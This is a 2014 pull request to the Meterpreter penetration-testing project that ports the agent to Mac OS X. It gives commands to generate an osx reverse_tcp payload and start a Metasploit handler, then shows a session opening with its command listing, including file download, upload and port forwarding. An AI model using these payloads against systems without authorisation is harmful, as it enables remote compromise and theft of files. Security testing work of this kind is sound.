rapid7/meterpreter — pull request #87 by AnwarMohamed (2014-07-05 22:08:38+00:00)
Title:  Mac OS X Meterpreter

Here is my initial try to port posix meterpreter to osx, I have succeeded to port and get a working payload. it still needs more work but for now you are able to generate a reverse_tcp payload and get a working meterpreter session. currently I have just recompiled some of stdapi extension commands, I will recompile the reaming by time.

To build meterpreter
```
make clean && make osx
```

To install meterpreter
```
make install-darwin
```

To generate reverse_tcp payload
```
ruby msfpayload osx/x86/meterpreter/reverse_tcp LHOST=10.0.0.100 R > osx.bin
```

to launch the handler
```
ruby msfconsole -x 'use multi/handler;set PAYLOAD osx/x86/meterpreter/reverse_tcp;set LHOST 0.0.0.0;exploit'

PAYLOAD => osx/x86/meterpreter/reverse_tcp
LHOST => 10.0.0.100
[*] Started reverse handler on 10.0.0.100:4444
[*] Starting the payload handler...
[*] Preparing support library (91752 bytes)...
[*] Preparing metsrv library (29312 bytes)...
[*] Sending stage (121072 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.100:4444 -> 10.0.0.100:37047) at 2014-06-30 03:49:15 +0200

meterpreter > help

Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
------- -----------
netstat Display the network connections
portfwd Forward a local port to a remote service

Stdapi: System Commands
=======================

Command Description
------- -----------
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
sysinfo Gets information about the remote system, such as OS

meterpreter > sysinfo
Computer : Anwars-Mac.local
OS : Darwin Anwars-Mac.local 13.2.0 Darwin Kernel Version 13.2.0: Thu Apr 17 23:03:13 PDT 2014; root:xnu-2422.100.13~1/RELEASE_X86_64
Architecture : x86_64
Meterpreter : x86/osx
meterpreter > exit
[*] Shutting down Meterpreter...

```